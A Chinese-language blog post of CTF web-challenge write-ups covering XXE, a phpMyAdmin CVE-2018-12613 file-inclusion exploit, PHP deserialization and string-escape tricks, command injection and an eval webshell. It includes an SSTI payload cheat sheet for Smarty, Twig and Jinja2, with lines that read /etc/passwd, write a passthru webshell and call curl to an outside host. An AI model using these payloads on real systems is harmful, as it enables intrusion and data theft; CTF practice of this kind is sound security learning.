web_week4

week4

XXE注入

[NCTF2019]Fake XML cookbook

考点:

xxe漏洞

知识点:

漏洞原理:
发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起DOS攻击等危害。XXE漏洞触发的点往往是可以上传XML文件的位置,没有对上传的XML文件进行过滤,导致可上传恶意XML文件。
(我们可以通过Entity引入外部实体向外部发起请求,因为可控所以存在漏洞)
(PHP 默认使用 libxml 来解析 XML,但是从 libxml 2.9.0 开始,它默认不再解析外部实体,导致 PHP 下的 XXE 漏洞已经逐渐消失,除非你指定 LIBLXML_NOENT 去开启外部实体解析,才会存在 XXE 漏洞。)

解题过程:

step1:
打开看到一个登录界面,查看源码我们看到了登录界面的逻辑代码
function doLogin(){
	var username = $("#username").val();
	var password = $("#password").val();
	if(username == "" || password == ""){
		alert("Please enter the username and password!");
		return;
	}
	
	var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin.php",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
        	var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
        	var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
        	if(code == "0"){
        		$(".msg").text(msg + " login fail!");
        	}else if(code == "1"){
        		$(".msg").text(msg + " login success!");
        	}else{
        		$(".msg").text("error:" + msg);
        	}
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}
step2:注入点
看到我们在登录界面输入的账号密码会被处理成xml数据在url/doLogin.php页面再去进行验证,于是可以进行xml注入,用POST
构造payload:
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
    <!ENTITY admin SYSTEM "file:///flag">
    (实体admin会被解析器替换为file:///flag,它将尝试读取file:///flag所指向的文件,并将其内容插入到<username>标签的位置。)
]>
<user><username>&admin;</username><password>123</password></user>
抓包POST传进去,就可以拿到flag

phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞

[GWCTF 2019]我有一个数据库

考点:

漏洞复现

知识点:

漏洞原理:
phpMyAdmin 是一套开源的、基于Web的MySQL数据库管理工具。在 4.8.2 之前的 phpMyAdmin 4.8.x 中发现了一个问题,其中攻击者可以在服务器上包含文件。该漏洞来自 phpMyAdmin 中重定向和加载页面的部分代码,以及对白名单页面的不当测试。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。
漏洞影响:
4.8.0 <= phpMyAdmin < 4.8.2
include $_REQUEST['target'];:
1.任意文件包含: 攻击者可以通过操控$_REQUEST['target']的值来指定任意文件路径,从而让服务器包含并执行服务器上的任何文件,包括但不限于配置文件、敏感信息文件或系统命令执行脚本。
2.远程文件包含: 如果$_REQUEST['target']的值被设置为一个URL,include函数还可能尝试从远程服务器包含文件,这可能导致数据泄露或执行远程服务器上的恶意代码。
3.代码注入: 攻击者可能通过这种方式向服务器注入恶意代码,从而获得对服务器的控制权。

解题过程:

step1:
在robots.txt看到phpinfo.php访问看到一些php信息
step2:
扫后台发现:
[10:26:33] 200 -   84KB - /phpinfo.php
[10:27:00] 200 -   20KB - /phpmyadmin/ChangeLog
[10:27:01] 200 -    1KB - /phpmyadmin/README
[10:27:03] 200 -   15KB - /phpmyadmin/doc/html/index.html
[10:27:04] 200 -   75KB - /phpmyadmin/index.php
[10:27:05] 200 -   75KB - /phpmyadmin/
[10:28:37] 200 -   36B  - /robots.txt
访问/phpmyadmin/index.php是一个phpmyadmin界面
step2:
看源代码看到漏洞点:
在index.php里面:
if (! empty($_REQUEST['target'])//target不为空
    && is_string($_REQUEST['target'])//target是字符串
    && ! preg_match('/^index/', $_REQUEST['target'])//target不能以index开头
    && ! in_array($_REQUEST['target'], $target_blacklist)//黑名单绕过
    && Core::checkPageValidity($['target'])//验证过checkPageValidity
) {
    include $_REQUEST['target'];
    exit;
}
他会对传入的target参数进行验证验证过了就执行 include $_REQUEST['target'];所以在这里可以进行读取任意文件的操作
去看checkPageValidity方法:
    public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }
这里大概就是说满足page参数是字符串并且满足下面三个任意一条就可以返回true,不然就是false
1.直接在$whitelist中。
2.在去除查询字符串后在$whitelist中。
3.在去除查询字符串并解码后在$whitelist中。
step3:
主要是得通过checkPageValidity又得在include $_REQUEST['target'];执行查看文件得操作
payload:?target=db_datadict.php%253f/../../../../../../../../flag

源码泄露

[BJDCTF2020]Mark loves cat

考点:

GitHack
exit不仅可以推出当前脚本,还可以输出
变量覆盖

解题过程:

step1:
扫了后台什么的看到git,猜测可能Git源码泄露,用GitHack跑一下,看了index.php,flag.php,打开index.php:
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

step2:
看到exit()可以输出里面的内容而且这里有$$变量覆盖漏洞,所以可以利用exit来输出flag变量的内容
step3:
这里可以有三种解法
1:利用exit($yds)
直接构造yds=flag就行,因为if(!isset($_GET['flag']) && !isset($_POST['flag']))直接不穿就进了
2:利用exit($handsome)
构造?handsome=flag&flag=a&a=b    flag=a&a=b 满足if($_GET['flag'] === $x && $x !== 'flag')
3:利用exit($is)
/?is=flag&flag=flag

字符串逃逸

[安洵杯 2019]easy_serialize_php

考点

1.字符串逃逸

解题步骤

思路:
在phpinfo里面我们找到了d0g3_f1ag.php,要读取它
注意到'img'变量,要把它值变成d0g3_f1ag.php,他是在$_SESSION类里面的,这有个extract可以覆盖变量的值,但是直接改img的值是不行的,因为在后面的(if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
})里面对img又赋值了,赋值后这两个都不是我们想要的,而且在img这个位置上都不能读取出我们想要的
filter方法,可以把特定的内容替换为空
我们可以用字符串逃逸,把img放到function的位置上,就可以读取我们想要的;
过程:
 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));//序列化之后使用filter方法

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));//这里有file_get_contents,可以通过它读取我们想要的文件
} 
step2:
先对$_SESSION序列化
<?php
class a{
public $user="guest";
public $function="jsaK";
public $img="ZDBnM19mMWFnLnBocA==";//d0g3_f1ag.php的base64
}
echo serialize(new a);
?>
得到:
O:1:"a":3:{s:4:"user";s:5:"guest";s:8:"function";s:4:"jsaK";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
我们要这一块(s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";)到(s:8:"function";s:4:"jsaK")这个位置来
我们先把s:;3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}赋值给function;序列化后得到:
O:1:"a":3:{s:4:"user";s:5:"guest";s:8:"function";s:39:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
我们现在就要使用字符串逃逸把 ";s:8:"function";s:39: 变成user的值
数一下 ";s:8:"function";s:39: 有22位,利用filter的函数把user的值改为phpphpflagflagflagflag 这要原本user的值变成空,然后自动往后面读22位将 ";s:8:"function";s:39: 变成user的值,自然的,function的位置变成了img键及内容为ZDBnM19mMWFnLnBocA==;
O:1:"a":3:{s:4:"user";s:22:"phpphpflagflagflagflag";s:8:"function";s:40:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
注意到"a":3:就是说{}里面应该有三个键,但是在{}里面只有两个,我们要给他手动加一个s:1:"a";s:1:"a";
这样我们就能读取d0g3_f1ag.php的内容了
payload:
url/?f=get_image
POST    _SESSION[user]=phpphpflagflagflagflag&_SESSION[funciton]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}
传入之后回显
<?php
$flag = 'flag in /d0g3_fllllllag';
?>
同样的我们去读取/d0g3_fllllllag,发现base64之后也是20位
payload:
POST
_SESSION[user]=phpphpflagflagflagflag&_SESSION[funciton]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:1:"a";}
就可以拿到flag了

绕过

[WUSTCTF2020]朴实无华

知识点

1.使用科学计数法绕过intval($num) < 2020 && intval($num + 1) > 2021
2.$a==md5($a)
md5=0e215962017

解题步骤:

step1:收集信息,robots.txt
User-agent: *
Disallow: /fAke_f1agggg.php
访问之后再url/fAke_f1agggg.php的响应头里看到Look_at_me:/fl4g.php
访问之后得到源码:
step2:
<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
    }else{
        die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
    }
}else{
    die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
   else
       die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
    die("鍘婚潪娲插惂");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
        system($get_flag);
    }else{
        die("蹇埌闈炴床浜�");
    }
}else{
    die("鍘婚潪娲插惂");
}
?>
step3:
payload:
/fl4g.php?num=1e5&md5=0e215962017&get_flag=ls
/fl4g.php?num=2e5&md5=0e215962017&get_flag=tac$IFS$6fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

ssti模板注入

在检测到存在SSTI模板注入漏洞之后->获得内置类所对应的类->获得object基类->获得所有子类->获得可以执行shell命令的子类->找到该子类可以执行shell命令的方法->执行shell命令

贴一个董姐的笔记:https://www.yuque.com/u41052087/wbs5gp/zvprevnbn24cxer7#amEn4

[BJDCTF2020]Cookie is so stable(Twig)

知识点

ssti:https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/#2-Twig

payload

smarty:
{if readfile('/flag')}{/if} smarty中的{if}标签中可以执行php语句
{$smarty.version} 返回版本信息
${smarty.template} 返回当前模板的文件名
使用{php}{/php}标签来执行被包裹其中的php指令 3.1版本已经废弃
{self::getStreamVariable(“file:///etc/passwd”)}
{literal}alert('xss');{/literal}
{literal}<script language="php">phpinfo();</script>{/literal} PHP 5.x
{system("id")} 最简单,枯燥的一个
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
 
{if phpinfo()}{/if}
{if system('ls')}{/if}
{ readfile('/flag') }
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if}
{php}echo `id`;{/php}
twig:
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter('cat /flag')}}
{{["id"]|map("system")|join(",")
{{["id", 0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0, 0]|reduce("system", "id")|join(",")}}
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
{{'/etc/passwd'|file_excerpt(-1,-1)}}
{{app.request.query.filter(0,'curl${IFS}x.x.x.x:8090',1024,{'options':'system'})}}
jinja2:
{% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
      {% for b in c.__init__.__globals__.values() %}
      {% if b.__class__ == {}.__class__ %}
        {% if 'eval' in b.keys() %}
          {{ b['eval']('__import__("os").popen("whoami").read()') }}
        {% endif %}
      {% endif %}
      {% endfor %}
    {% endif %}
    {% endfor %}

解题过程:

step1:
在flag.php有输入框,测试之后发现不是sql,尝试模板注入
step2:
测试{{7*'7'}}回显49,确定是Twig
step3:
继续注入,尝试一些{{}}包着的命令之后,没回显,继续输入{{7*'7'}}submit后抓包看一下,发现注入点是在cookie的user里面
*step4:
/看的别人的payload,还不太清楚怎么来的 附上图片/

payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

[WesternCTF2018]shrine(Twig)

考点:

1.代码审计
2.ssti注入

解题过程:

step1:整理代码+审计
import flask  
import os  
  
app = flask.Flask(__name__)  
  
# 从环境变量中取出FLAG并设置到应用的配置中  
app.config['FLAG'] = os.environ.pop('FLAG', None)  # 添加了默认值None,以防环境变量中不存在FLAG  
  
@app.route('/')  
def index():  
    # 返回当前文件的全部内容  
    return open(__file__).read()  
  
@app.route('/shrine/<shrine>')  
def shrine(shrine):  
    def safe_jinja(s):  
        # 移除字符串中的括号,因为括号在Jinja2模板中可能有特殊含义  
        s = s.replace('(', '').replace(')', '')  
          
        # 定义一个黑名单,包含不允许在模板中直接访问的变量名  
        blacklist = ['config', 'self']  
          
        # 构造一个Jinja2模板字符串,用于将黑名单中的变量设置为None  
        # 这可以防止模板执行时访问到不安全的变量  
        template_prefix = ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])  
          
        # 返回处理后的模板字符串  
        return template_prefix + s  
      
    # 使用safe_jinja函数处理传入的shrine参数,并渲染为模板  
    return flask.render_template_string(safe_jinja(shrine))  
  
if __name__ == '__main__':  
    app.run(debug=True)
step2:
是jinja2模板然后过滤了config,self,我们得去读配置文件	
就利用{{url_for.__globals__}}这个去读一下全局变量读出来得去锁定我们要的,注意到它
app.config['FLAG'] = os.environ.pop('FLAG', None) 要去读取app.config
在里面搜素app看到current_app
payload:{{url_for.__globals__[current_app].config}}就可以了

RCE

[安洵杯 2019]easy_web

知识点

1.当遇到MD5强比较并且进行了string强转例如:(string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])
固定payload:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

解题过程:

step1:
一打开注意到url上有cmd=,发现尝试在cmd上注入1/a之类的直接回显在源代码上,当注入ls等命令的时候则会回显是禁止的
step2:
找源代码,注意到url上有index.php,但是发现怎么都访问不进去,然后注意到有一个变量img=MzUzNTM1MmU3MDZlNjc=,经过两次base64解密一次hex解密之后得到555.png,注意到页面上有一个表情包,以及那个源代码里,有图片的base编码,所以可能更改img的值可能在源代码那块读到我们想要的
step3:
将index经过同样两次编码之后将它注入进去,在前端的那个页面看到了base64更新之后,在进行编码得到我们的源代码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixio= no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";//过滤了ls tac cat等重要命令
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;//MD5强比较加上强转换
    } else {
        echo ("md5 is funny ~");
    }
}

?>


step3:
payload:
在bp上传,在hackbar里传会再经过一次编码
url/index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=ca\t%20/flag 
POST
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

反序列化

[MRCTF2020]Ezpop

考点

反序列化

解题过程

step1:
代码审计
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);//include函数可以想到文件包含漏洞
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 
思路:
注意到Modifier里面有include,要想办法进入这里面,调用里面的invoke方法,invoke(当尝试以调用函数的方式调用一个对象时,方法会被自动调用)
注意到_get里面有return $function()要想办法调用__get(当访问类中的私有属性或者是不存在的属性,触发__get魔术方法)
然后因为反序列化时候先调用_wakeup方法,以及show类里面有toString方法(在对象当做字符串的时候会被调用。)
所以可以可以另$this->source实例化show类就调用了_toString,然后令strT实例化test,Test里面不存在source属性,就直接调用_get方法
另p实例化为Modifier就进入了,_get方法把p当做函数使用就调用了_invoke
<?php
class Modifier {
    protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";

}

class Test{
    public $p;
}

class Show{
    public $source;
    public $str;

}
//pop链
$a=new show();
$a->source=new show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();
echo urlencode(serialize($a));
payload:
url/?pop=O%3A4%3A"Show"%3A2%3A{s%3A6%3A"source"%3BO%3A4%3A"Show"%3A2%3A{s%3A6%3A"source"%3BN%3Bs%3A3%3A"str"%3BO%3A4%3A"Test"%3A1%3A{s%3A1%3A"p"%3BO%3A8%3A"Modifier"%3A1%3A{s%3A6%3A"%00*%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B}}}s%3A3%3A"str"%3BN%3B}

http

[MRCTF2020]PYWebsite

考点:

http:xff头

解题过程:

step1:
点击购买,二维码扫出来:
拜托!你不会真的想PY到flag吧,这样可是违规的!再好好分析一下界面代码吧
step2:
收集信息,在那个源代码看到 JavaScript Libraries 在js lib那个index里面看到/flag直接访问
看到了ip,想到更改更改ip
step3:
使用插件更改xff为127.0.0.1然后再源代码里拿到
/ps:这里尝试过用hackbar添加不能过/

RCE

[极客大挑战 2019]RCE ME

考点

1.取反绕过

知识点:

1.对于PHP,形如 `(func_name)()`,其中func_name可以是会执行这个func
2.取反之后会变成字符串

解题过程:

 step1:代码审计
 <?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);//可以命令执行
}
else{
            highlight_file(__FILE__);
}

// ?>
因为这里过滤了所有的大小写和数字所以进行取反绕过在urlencode就可以绕过
取反脚本:
<?php 
error_reporting(0);
$a='assert';//
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[aaa]))';//
$d=urlencode(~$c);
echo $d;
 ?>
step2:
要在这块传木马过程,(assert)(eval ($_post[aaa]))我们要把他取放放进去
/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%9E%9E%A2%D6%D6);
用蚁剑连接上去了,但是在flag没有内容,有readflag这个文件,/readflag会有一个s权限 ,就是不能让你直接cat或者执行,需要绕过phpinfo里的disable_functions(别人的解释)
解法一:
所以可以用蚁剑一个插件去绕过


法二:利用 LD_PRELOAD 环境变量(弄明白在上传)
posted @ 2024-07-13 20:06  鱿鱼1029  阅读(11)  评论(0编辑  收藏  举报